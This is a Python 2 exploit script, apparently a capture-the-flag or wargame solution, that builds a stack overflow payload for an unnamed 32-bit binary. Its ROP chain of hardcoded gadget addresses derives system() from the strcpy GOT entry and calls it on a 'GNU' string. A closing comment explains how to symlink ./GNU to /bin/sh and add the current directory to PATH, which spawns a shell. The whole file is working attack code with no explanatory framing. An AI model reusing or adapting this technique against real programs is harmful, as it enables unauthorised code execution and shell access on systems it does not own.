#!/usr/bin/env python

from struct import pack
 
junk = "A" * 64 + "dcba" + "A" * 12  # 80 bytes
 
## ROP gadgets ##

gadget1 = pack('<I', 0x8048545) # pop ebx ; pop esi ; pop edi ; pop ebp ; ret
gadget2 = pack('<I', 0x804842b) # xchg eax, edi ; add al, 0x08 ; add dword [ebx+0x5D5B04C4], eax ; ret
gadget3 = pack('<I', 0x8048432) # pop ebx ; pop ebp ; ret
gadget4 = pack('<I', 0x804856e) # add eax, dword [ebx-0x0B8A0008] ; add esp, 0x04 ; pop ebx ; pop ebp ; ret
gadget5 = pack('<I', 0x804845f) # call eax
 
padding = "AAAA" # 4 bytes
offset = 0xfffb3080 - 8
data = (0x08049720 - 0x5d5b04c4) & 0xFFFFFFFF
strcpy = (0x8049710 + 0xb8a0008)
gnu = 0x8048154

## PAYLOAD ##

rop = gadget1                    # pop ebx ; pop esi ; pop edi ; pop ebp ;;
rop += pack('<I', data)          # EBX = .data - 0x5d5b04c4
rop += padding                   # ESI = padding
rop += pack('<I', offset)        # EDI = offset - 8
rop += padding                   # EBP = padding
 
rop += gadget2                   # EAX = OFFSET system-strcpy
 
rop += gadget3                   # pop ebx ; pop ebp ;;
rop += pack('<I', strcpy)	     # EBX = strcpy@GOT + 0xb8a0008 
rop += padding                   # EBP = padding
 
rop += gadget4                   # EAX = (OFFSET system-strcpy) + strcpy = SYSTEM
rop += padding                   # padding for "add esp 0x4"
rop += padding                   # EBX = padding
rop += padding                   # EBP = padding
 
rop += gadget5                   # call eax ; leave
rop += pack('<I', gnu)   		 # "GNU" string
 
payload = junk + rop
 
print payload
# don't forget the symbolic link from ./GNU --> /bin/sh and add . to $PATH
